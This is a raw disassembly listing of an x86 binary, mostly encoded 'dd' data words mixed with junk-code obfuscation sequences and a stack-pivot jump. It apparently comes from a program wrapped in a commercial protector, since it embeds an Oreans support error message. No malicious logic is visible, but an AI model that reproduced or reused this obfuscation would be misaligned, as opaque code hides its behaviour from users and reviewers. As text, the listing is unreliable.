		dd 15F0BAF7h, 0DA41B86Ch, 0DFB7635Dh, 7225F2B9h, 0F5A11ABEh
		dd 1C142A1Ah, 548A03B7h, 289C489h, 5DD6FA82h, 0EB9414D4h
		dd 4D6F82F3h, 0C3E78BDAh, 0ED999313h, 2C140815h, 0D950F4A8h
		dd 9709115h, 0FA6D5DC6h, 0CE0E2DC3h, 6A000002h,	8448BF42h
		dd 0A367DE21h, 0BF83FA07h, 0DA9E15EAh, 72BE35CCh, 10F1B5B8h
		dd 31DED599h, 4FB2F6BAh, 6C9314D8h, 7B32CF5h, 19B1312Fh
		dd 45178AC2h, 0B3C81E61h, 5F059D6Ch, 7608F9AFh,	0EFB32ACEh
		dd 59D047B8h, 870095A2h, 8238F851h, 1250BD7h, 0B6C9FF88h
		dd 0C02644F2h, 0A33097D2h, 25C942ABh, 7EC06501h, 0AD6D15F0h
		dd 0CC7406FBh, 0BECFA753h, 0AE6225F2h, 5C08910Ah, 25F2BE84h
		dd 0AD3F6317h, 0F2BE390Dh, 0BE209F25h, 745F3C7Dh, 0BBD109h
		dd 7C5E0000h, 0EDC10946h, 912273AEh, 0A044EC7Eh, 6EA37B27h
		dd 82361FD3h, 6F9AE5Eh,	1BE6C074h, 7356E989h, 3B6C1FD3h
		dd 1E894DC4h, 3FF84FE1h, 0F599683Eh, 88A7D07Ch,	681C15F0h
		dd 0E8AD8AF1h, 0F583C36Fh, 72261C13h, 936C39F9h, 7036F66Fh
		dd 578D1A91h, 3D6B5F61h, 1CB19EC4h, 8F19C335h, 9D412B3Bh
		dd 24DDC979h, 6DD4F0BDh, 0B8D76DFAh, 1C9h, 43BA4765h, 62D9267Fh
		dd 7EF50C9Eh, 9910EFBAh, 0B930D1D5h, 0FCAAB36Dh, 0E9CA8E05h
		dd 0BDEBAF26h, 9E09CD44h, 0A821EA61h, 0B13124FCh, 0C7FB719h
		dd 1FCB6145h, 1FD3A147h, 0CDA551DAh, 601FD3A1h,	0ED6408ACh
		dd 0A817E29h, 9D624593h, 0AF50570Bh, 4E66D138h,	0A14119C5h
		dd 20D41FD3h, 0D3A1AC84h, 0E78B3F1Fh, 95ADC26Eh, 7A3A15F0h
		dd 9840D22Dh, 0EEC262F4h, 5425F2D4h, 0C64F09D5h, 0F2D4421Ah
		dd 0FD21D525h, 74751267h, 30BB09h, 0A2480000h, 0B0DB7E95h
		dd 9A65929Fh, 64D17DF6h, 0A115F06Dh, 6D72F16Bh,	7A9E685Eh
		dd 5BFB8D41h, 25F25187h, 0CB706EEDh, 975EC8Eh, 2A1Fh, 0BC7CAC00h
		dd 0D88012EDh, 0A14318B4h, 81B61FD3h, 1EE7930Ch, 5315F0BDh
		dd 5AEC1593h, 0A1558EB2h, 3486F228h, 0E487D6D2h, 0A2D249C0h
		dd 0A77F2B95h, 0C31FD3A1h, 20E019E6h, 3FE77988h, 0D27EF79Bh
		dd 15F0B109h, 0BB38CA7Eh, 3054ADFBh, 0F2B0C094h, 37A72625h
		dd 7449B504h, 255809h, 59E50000h, 1FD3A185h, 0CB7741F6h
		dd 1FD3A1F3h, 0B52ED286h, 0C6396C2Ch, 0CC688C34h, 15F0BD03h
		dd 11F0B878h, 0A27FF66Dh, 0DB870095h, 15F5F72Ah, 0C282FBAFh
		dd 65F71BE6h, 0ACFDF6B1h, 7519C153h, 926D3AFEh,	0E5C38300h
		dd 0E4AF61Ch, 0CA11CC0Eh, 0D4FF0AA6h, 20AF3B6Ah, 0BB4463BEh
		dd 822EB744h, 4B8D13AAh, 0CED9893Dh, 0D3F79F31h, 0E97B8423h
		dd 277F7435h, 13815905h, 60144B8Dh, 0D28618BCh,	0E79B2DD4h
		dd 70AF41BEh, 0A230FDE1h, 4166BB23h, 248347BEh,	0FB2C62DBh
		dd 986A7748h, 1AE5C272h, 2ABCE088h, 80Bh, 2AA79400h, 0A2C6496Ah
		dd 9A67453Fh, 0AC535408h, 0BF42661Ah, 0D53A792Dh, 0EA178F43h
		dd 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh,	676886A2h
		dd 89000073h, 0E0892404h, 405h,	4E88300h, 5C240487h, 0E4968h
		dd 24148900h, 536668h, 24048900h, 473875BAh, 7DBD556Fh
		dd 296924E2h, 8B545DEAh, 0C4812404h, 4,	8904EC83h, 408F2414h
		dd 24048B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 28h
		dd 2273CEB8h, 0FFC50306h, 81D9F0E0h, 3E989179h,	0D75E120Dh
		dd 0DF0D2202h, 8EA0FF0Bh, 7024F257h, 0CC35FA15h, 0C73BDC7Ah
		dd 715E136Eh, 335BC933h, 49EC1805h, 15CD4C2Fh, 0C3BC2102h
		dd 89FE0207h, 4E06F906h, 0E2C0440Ah, 0DD42C75Fh, 0D3A58B23h
		dd 0CB8E7475h, 0D79F8A61h, 0BAEE7978h, 13E85Ch,	2DEC0000h
		dd 0A384EC47h, 0A23BBF49h, 5F91671Dh, 0A0030769h, 13E92Dh
		dd 47EB0000h, 2685D34Ah, 0D1015957h, 0B3A39FAh,	6DB58F68h
		dd 810F5E0Fh, 2, 0C681D08Bh, 5FDAh, 68F8BF0Fh, 0
		dd 19820Fh, 11E80000h, 0F8000000h, 49461A3Eh, 0EAAF0324h
		dd 0B5E0A3CDh, 8AC30358h, 5958C38Bh, 2DEF8166h,	3134FF1Fh
		dd 9E9h, 37200F00h, 2219812Fh, 665B4374h, 0EB81FB8Bh, 6F3ED477h
		dd 81D1B70Fh, 129CA2EBh, 3C28135h, 816DF068h, 381EC1C3h
		dd 0E1C8979h, 28F6D281h, 0AE96EC3h, 6D000000h, 0BC1E472Fh
		dd 94495640h, 4E98354h,	0A110F981h, 850FFFFFh, 1Ch, 0BE953h
		dd 9FBE0000h, 0CF081855h, 5C6FEDEAh, 19E95F44h,	0A0000000h
		dd 9F94CA40h, 0A604BA66h, 0FFFF84E9h, 0C63281FFh, 318942C0h
		dd 4675E10Ch, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 11DFE900h, 8BF50000h, 1F1BE585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1A320D8Dh
		dd 0B05D5282h, 8960A7DDh, 1F067D95h, 5D958906h,	61061F0Dh
		dd 4244439h, 5B850Fh, 95890000h, 61F0DA1h, 32C1BD83h, 0F00061Fh
		dd 4884h, 5BD0100h, 8D061F20h, 1F394D85h, 0A8E0F06h, 0E9000000h
		dd 5, 22648A01h, 0FE0FFD1h, 1986h, 10E96000h, 98000000h
		dd 0C7181AD0h, 0F231971Fh, 0A03881ECh, 608D9E48h, 6E96161h
		dd 74000000h, 68875A88h, 51858B2Bh, 0F8061F2Ch,	4244439h
		dd 15850Fh, 0C7F80000h,	22798985h, 106h, 66506000h, 587557BBh
		dd 6061F28Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	5CC35141h, 0EE9h, 0D5B22800h, 25DEAB2Eh, 0DA52C1EEh
		dd 1E9D7E8h, 1F133D9Dh,	25E906h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 7ACD1C3h
		dd 4BDDACh, 0B8000000h,	1, 7AB38587h, 0C00B0622h, 0B5FFF675h
		dd 61F2025h, 7981858Fh,	206A0622h, 95FFFF6Ah, 61F14F9h
		dd 316DBD83h, 7400061Fh, 0FF006A08h, 1F1D4595h,	0CDBD8306h
		dd 1061F09h, 80680D74h,	6A000000h, 0F995FFFFh, 6A061F14h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 3FD9C350h, 15EAC77Dh, 3D66021Ch, 11890Fh
		dd 0CE90000h, 0AC000000h, 8107072Dh, 0FD647B81h, 0E9A44FE0h
		dd 12h,	0DA614D73h, 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh
		dd 8D89629Dh, 61F146Dh,	0B8h, 68A0F00h,	89000000h, 1F2E1195h
		dd 24548B06h, 0BE928h, 91BD0000h, 0BF607675h, 90123F88h
		dd 6D8589CDh, 6A061F10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0ECAEC352h,	9860Fh
		dd 8B600000h, 1F02F58Dh, 0BE61F906h, 3Ch, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0D1C35545h, 2005B501h
		dd 7403061Fh, 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 2E23E9C3h, 13E989h, 0C6960000h
		dd 6FC62B6Ch, 25B1C1BFh, 3B9050F7h, 81ACEB7Dh, 1840FF8h
		dd 0F5000000h, 6AAD66h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 65255C3h, 0F96FF7AAh, 24244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h
		dd 0E9BE0C18h, 9, 3C6DD081h, 0BC30F84Eh, 52509012h, 0EE9h
		dd 4A969A00h, 0F70FD15Ch, 0C8E297BAh, 0FADA083h, 0B810F31h
		dd 0E9000000h, 6, 0F94CB0E6h, 585ACC9Eh, 0E9525050h, 0Eh
		dd 2FBF9D53h, 68286FF9h, 0EE888882h, 310F6E2Eh,	0D98B6660h
		dd 61D18B66h, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 31EBC357h, 1F32C995h
		dd 78408B06h, 89BD83F9h, 62279h, 152850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1B9F04C3h, 0F63540F1h, 0FE960h, 0DE4F0000h, 0E5734561h
		dd 9D99303Bh, 0C7076D7Dh, 605061D4h, 52505250h,	585A310Fh
		dd 0C5BE310Fh, 5A58DF56h, 9E95158h, 28000000h, 28C2A3E7h
		dd 441502E5h, 4896159h,	6E924h,	5D000000h, 0B9660666h
		dd 0D799589h, 448B061Fh, 6A2C24h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 90F914C3h, 10E9h, 0EC0F4000h
		dd 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 8B6050C1h, 0FE9F2h
		dd 6FA80000h, 80E8CDA1h, 0D479C5ADh, 0A0AC1CBFh, 6A90617Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7E4BC356h, 0C0F5E0E3h, 89F90EDBh,	1F2DF985h
		dd 0E880F06h, 60000000h, 23218589h, 858B061Fh, 61F2F25h
		dd 5858D61h, 6A062253h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0EC9DC350h,	0D0FFF93Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5AC35747h
		dd 8966EE30h, 1F1F35B5h, 18A0F06h, 0F5000000h, 28244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 77C35040h
		dd 408B2C70h, 2940F818h, 1F0005B5h, 0AE906h, 9BA10000h
		dd 11A84CD1h, 0C02A3E08h, 79858589h, 6A0622h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F8051AC3h
		dd 880F58F8h, 6, 159DB589h, 708B061Fh, 0E5858978h, 83061F0Ch
		dd 6A1CC6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0F6043C3h, 0DE9FBB7h, 9A000000h, 93273E4Fh
		dd 0F0C024B8h, 602E08A1h, 8B0F9661h, 6,	2E1D8589h, 7C81061Fh
		dd 2424h, 870F1000h, 14Ah, 6E9h, 739AA400h, 509393B0h
		dd 0CE95250h, 8F000000h, 95DB3D1Ah, 52323534h, 0FB15D2Dh
		dd 0CE931h, 9EB40000h, 0F1B362C1h, 0D53648C8h, 585AF08Ah
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 5D40C350h, 448BBF26h, 95892824h
		dd 61F2EF5h, 12810F50h,	0E9000000h, 0Dh, 100A1A2Ah, 0A9F794A2h
		dd 9C793D40h, 24048931h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0BBC35545h, 0B0363D97h, 60918A7Ch, 5E9h
		dd 0FBE2D000h, 5E87DFDh, 6B000000h, 0CA423373h,	0DE9h
		dd 0FBFF6100h, 6E458A38h, 5FD3C473h, 615A823Bh,	5305858Dh
		dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 3F72CBC3h, 9D89B45Ch, 61F1F35h, 0EE9h, 2A8FB700h
		dd 0CD715E7h, 46B1104Fh, 60FDC756h, 7D858B53h, 58061F0Eh
		dd 6810Fh, 840F0000h, 0
		dd 6AD0FF61h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 88B9C355h, 46BB64E9h, 286687C8h
		dd 1285BD89h, 6A96061Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 896EC350h, 1F14E1B5h
		dd 24740306h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 68D0F6Eh,	89000000h, 1F11F585h, 95BD8D06h
		dd 89061F24h, 1F10C1BDh, 860FAD06h, 8, 2880Fh, 61600000h
		dd 13718D89h, 7C81061Fh, 2424h,	870F1000h, 144h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 24C35545h, 0DACCB176h
		dd 0BD09DE62h, 61F1A65h, 0C890F90h, 0F000000h, 68Ah, 850F00h
		dd 50000000h, 0EE960h, 9A120000h, 8E7C9491h, 4D0D9697h
		dd 0BDE963CBh, 0BE9h, 0C45CEF00h, 47FF1DAAh, 567EF4AEh
		dd 0CE99061h, 5E000000h, 0E32A333Bh, 21BE00ECh,	8B08A23Ch
		dd 6A282444h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0CD36C355h, 319AB237h,	31E87A7Fh
		dd 1F31298Dh, 890F5006h, 0Ah, 61605250h, 6160310Fh, 489585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E959ED84h, 12h,	14A69284h, 73A2A999h, 8EC9E158h
		dd 0FBA440FAh, 858DC52Fh, 6225305h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 44C35747h, 0F5F839A8h, 1E058589h
		dd 9D29061Fh, 61F14ADh,	6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 2C10B4C3h, 0FFBF6D65h
		dd 0F98FD489h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 91C35242h, 0F009AFBh,	18Fh, 89ABF900h
		dd 1F2E8D9Dh, 0FA8106h,	0F000100h, 72982h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0FB623912h, 0F712B7Dh, 687h,	0CDBD8900h, 8D061F24h
		dd 1F2CE5BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0F08D8FBh, 0A3D57924h, 29F82EA8h
		dd 1F24898Dh, 6AAD06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0FB7166C3h, 0B1F5D3BAh, 9E9C431h
		dd 0C4000000h, 7929F122h, 0DB2D1860h, 0CBD8589h, 7C81061Fh
		dd 2424h, 870F1000h, 0DBh, 6840Fh, 0B5890000h, 61F19A9h
		dd 0BE950h, 6FB40000h, 7BE89E3Dh, 255FFDFDh, 24048995h
		dd 0A6C08160h, 617C050Ah, 17BE6660h, 448B617Ah,	6A2824h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 80B471C3h, 6BF0AAF9h, 0E8605043h, 14h, 3D1BABB1h, 48E8C592h
		dd 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch, 310F5250h,	0BB5E585Ah
		dd 4FD81850h, 24048961h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0C8C35646h, 0AA1ECD27h, 9D898AFFh, 61F23F5h
		dd 15C58589h, 8DF5061Fh, 22530585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0B589FC7Dh
		dd 61F1CE9h, 3F5D0FFh, 0F242444h, 1384h, 0EE900h, 14AD0000h
		dd 176EA19Eh, 507A1729h, 3FA587DDh, 0CE990h, 36330000h
		dd 6AC8539Eh, 89CC0E81h, 0F502A6Bh, 0F82h, 0AE900h, 0C1BB0000h
		dd 1834D295h, 866C13D1h, 0F59D8990h, 60061F31h,	725D5AB9h
		dd 6870F74h, 8B000000h,	1F004195h, 6AAB6106h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 7477C355h, 0BD8DFC46h, 61F1599h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0C7C35646h,	0AD34E372h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B0C35141h, 0B0CC67C2h
		dd 207BCDB2h, 28247C81h, 10000000h, 116870Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0F8E855C3h, 0B21132BAh, 8E964h, 0EA510000h, 0C989CAFFh
		dd 8B604A66h, 1F0E498Dh, 870F6006h, 0
		dd 10E9h, 3B535F00h, 8F6331D6h,	0AB873386h, 0B7365AE1h
		dd 50616142h, 66D68B60h, 618056BAh, 0E9240489h,	0Ah, 6732E88Fh
		dd 0B369137Ch, 850F6BA6h, 6, 1DBD8509h,	448B061Fh, 6A2C24h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 6066CFC3h, 0EDB9244Fh, 0F08B6090h, 3C08BF66h, 800F5061h
		dd 12h,	870F5250h, 0
		dd 5250310Fh, 585A310Fh, 2990585Ah, 1F0BB995h, 99D8906h
		dd 8D061F21h, 22530585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0AF12CC09h, 13E9h, 1D2E2F00h
		dd 0F261B5DBh, 0C10D4BCh, 0CC228136h, 0B80A329Dh, 9589D0FFh
		dd 61F1249h, 28244403h,	30FD9D89h, 3160061Fh, 1F0695BDh
		dd 0C3B70F06h, 1F9AB61h, 1F06359Dh, 8DFF5E06h, 6227985h
		dd 7985BD83h, 75000622h, 8DC0330Ah, 22887EB5h, 56E6FF06h
		dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 5858D50h, 0FF062253h
		dd 244403D0h, 0DF8B9728h, 7981858Ah, 0C0840622h, 73A0474h
		dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh,	0C033D18Bh
		dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
		dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
		dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
		dd 85FF04C6h, 61F106Dh,	0FFFF5DE9h, 89FC5EFFh, 1F188585h
		dd 6D858B06h, 0FC061F10h, 3F8E0D1h, 1F159985h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 2AEFF485h, 0DAF0D347h, 0BED70Eh, 0E9000000h,	0Dh, 7017AF46h
		dd 0BF1CA08Ch, 0B5A9B294h, 6A9667h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2156A8C3h
		dd 1C6F2DE4h, 0E902EF3Ch, 0Ch, 369AF910h, 70F1ABF7h, 662E96C6h
		dd 14E9AD66h, 3C000000h, 6A2F5A20h, 97A40C7Eh, 64E0AC5Ch
		dd 0AD1E8600h, 0FFB0CC3h, 1687h, 11E900h, 699E0000h, 0B1DF8B10h
		dd 0E42BFAFBh, 0D0C23B9Fh, 0C160A2E4h, 8D2902E0h, 61F0225h
		dd 24958503h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8960F6C3h, 1F0FC185h, 0F5B53106h
		dd 61061F02h, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0A127EC58h, 89723295h, 1F2A358Dh
		dd 9D01AD06h, 61F0B35h,	24247C81h, 10000000h, 0AE870Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 551C16C3h, 0F3816660h, 11E92E41h,	88000000h
		dd 3D9C732h, 3983452h, 0BB96AD83h, 0B8182578h, 0CE99061h
		dd 0FF000000h, 4D9BFDA1h, 7BE25099h, 502CC7CFh,	0D98B6660h
		dd 5B5B5156h, 870F9061h, 0Ch, 6880Fh, 95890000h, 61F0D51h
		dd 2824448Bh, 2A3D9509h, 9501061Fh, 61F0D41h, 28F0F50h
		dd 60000000h, 24048961h, 1A5D8D89h, 858D061Fh, 6225305h
		dd 6890Fh, 0BD290000h, 61F1DADh, 2960D0FFh, 1F2DE59Dh
		dd 19958906h, 61061F00h, 24244403h, 158D8960h, 8B061F1Ch
		dd 1F2F058Dh, 44896106h, 6A1C24h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 19A62C3h, 6FF8638Ch
		dd 8B608271h, 1F02798Dh, 4DB50906h, 61061F30h, 148C0Fh
		dd 810F0000h, 0Eh, 9E9h, 5578CB00h, 34E5628Bh, 85C65AC5h
		dd 61F2025h, 0B385C700h, 6227Ah, 0C7000000h, 22798985h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0E4A752DCh, 880F6D5Bh, 1,	399D29F8h
		dd 61061F24h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	78C35040h, 14E9756Ch, 69000000h, 0A9EB6847h, 0D588D5BCh
		dd 5A15606Ch, 7AF51282h, 0F50226B6h, 6A0008C2h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0F968C352h, 0F0E22F82h, 0A7BCD393h, 18C9B589h, 858B061Fh
		dd 61F2495h, 7860Fh, 66600000h,	0D88BD08Bh, 0BF0F6061h
		dd 585053D6h, 6A4A6159h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0C7ADC350h,	0E6689C5Ah
		dd 0A1858929h, 6B061F18h, 0FF504D2h, 687h, 21858900h, 3061F30h
		dd 57006AC2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 8E15ECE6h, 95895A4Eh, 61F120Dh, 0B9BD0996h
		dd 0AD061F00h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	30C35242h, 54862672h, 0DB5B509h, 7C81061Fh, 2424h
		dd 870F1000h, 12Eh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 9EC35646h, 662C3B31h,	0C3D2537h, 12E9h
		dd 0EDDF9700h, 68E5CE52h, 0E451A599h, 37F7625Dh, 904DC37Ch
		dd 0EE9h, 7BD25200h, 8302135Fh,	3B8D55A2h, 50F59958h, 0BBCE8B60h
		dd 438D4886h, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FCC93AC3h, 6F59D29h, 800F061Fh
		dd 0Eh,	9E9h, 0EDA18F00h, 5D0C4D34h, 448B231Ah,	6A2824h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0DE61E9C3h, 33AB2903h, 0E998489Ah, 10h, 73A60B88h, 1D0E001Ch
		dd 111786FBh, 3F4A8BFDh, 5AB66050h, 24048961h, 0FD9B509h
		dd 858D061Fh, 6225305h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0E6C35040h, 0C10376D6h, 8E98Dh, 0EA6A0000h
		dd 469264FAh, 0D0FF85F1h, 9E9h,	57C9A800h, 0B9781F02h
		dd 860FFDD9h, 6, 0A41B589h, 1E9061Fh, 29FFFFFDh, 1F2AF595h
		dd 0E4858D06h, 0F06228Eh, 0D8Bh, 0BD236000h, 61F06C9h
		dd 44FA5EBFh, 0F506159h, 1384h,	60525000h, 0E9310F61h
		dd 6, 6429B214h, 585AEFFBh, 89240489h, 1F0DD1BDh, 0FF64F906h
		dd 35h,	81666000h, 0F4CE7C9h, 288h, 615F5600h, 6A24048Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 5FE7C353h, 0AFA6AFEFh, 1558D77h, 1F243985h
		dd 0BD858906h, 0F061F2Dh, 686h,	51850100h, 64061F06h, 2589h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 1DBF5BC3h, 44CA1022h, 5F99D09h, 858D061Fh
		dd 6228C86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0A9C35545h, 9509A27Fh, 61F1D01h, 60016089h, 1B2DB52Bh
		dd 9D89061Fh, 61F2F95h,	29FE961h, 0B5090000h, 61F1015h
		dd 0E8DB8Bh, 5D000000h,	8C7FED81h, 9CBC0622h, 830012FFh
		dd 1F09CDBDh, 18740006h, 1751858Bh, 0C6061Fh, 15858B00h
		dd 0C6061F02h, 95FF0000h, 61F0EE1h, 8DB5FF60h, 8D062275h
		dd 22759185h, 858D5006h, 6227789h, 0A195FF50h, 83061F00h
		dd 6A610CC4h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F9C0C353h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0BC35747h, 0F33C0DDh, 780h
		dd 18B0F00h, 0F5000000h, 7789B58Dh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A54313C3h
		dd 0BD8991E3h, 61F0B91h, 11E9h,	5A190900h, 0A76B043Eh
		dd 1D037227h, 0A48F515Eh, 95894728h, 61F20F9h, 365BD8Dh
		dd 6A061Fh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 1554EC3h, 6880FB5h, 31000000h, 1F1F4D8Dh, 3E8006h, 7E840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D8943C3h, 61F2E6Dh, 11D19589h, 6AA4061Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0C69AC350h, 3A2AF8F8h, 898D0360h,	29061F05h
		dd 1F2A498Dh, 9AE96106h, 6AFFFFFFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6836C357h
		dd 0D6DD99F0h, 6AC02Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D71005C3h, 2519B21h, 18840Fh, 0E8600000h
		dd 0Eh,	0B4DD571Ah, 15C1A0Ch, 0F33FAFFEh, 8B58BC95h, 0FAA61FBh
		dd 187h, 2960F800h, 1F06059Dh, 67F0B906h, 0B86173E8h, 7
		dd 0CF9B529h, 85C7061Fh, 61F0F79h, 1, 194DBD89h, 8D8D061Fh
		dd 61F4DB0h, 0E8E0Fh, 89600000h, 1F32ADBDh, 8D958906h
		dd 61061F1Bh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0CEC8C7C3h, 0D5A3B0E3h, 71950155h
		dd 0E9061F18h, 0Eh, 0B359090Ch,	6E8B7196h, 76E494D9h, 85896B71h
		dd 61F126Dh, 0C245C8Bh,	0E855h,	815D0000h, 228EEEEDh, 0B8838B06h
		dd 89000000h, 22758D85h, 78858D06h, 8906228Ch, 0B883h
		dd 0C0335D00h, 0FE9C3h,	0FD570000h, 3A03C121h, 0AF61685Dh
		dd 2ABE9BF8h, 0AE940h, 8DC40000h, 0D7FF2D34h, 6BBEEA36h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0C5398F9Ch, 8F9E7A0Dh, 858D3C8Bh, 6229144h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 81C35545h
		dd 2725613Eh, 0BD89B280h, 61F1C4Dh, 0BA576090h,	869DC9Ch
		dd 0F506158h, 682h, 61606000h, 90616160h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 81C35242h, 0BECB9293h
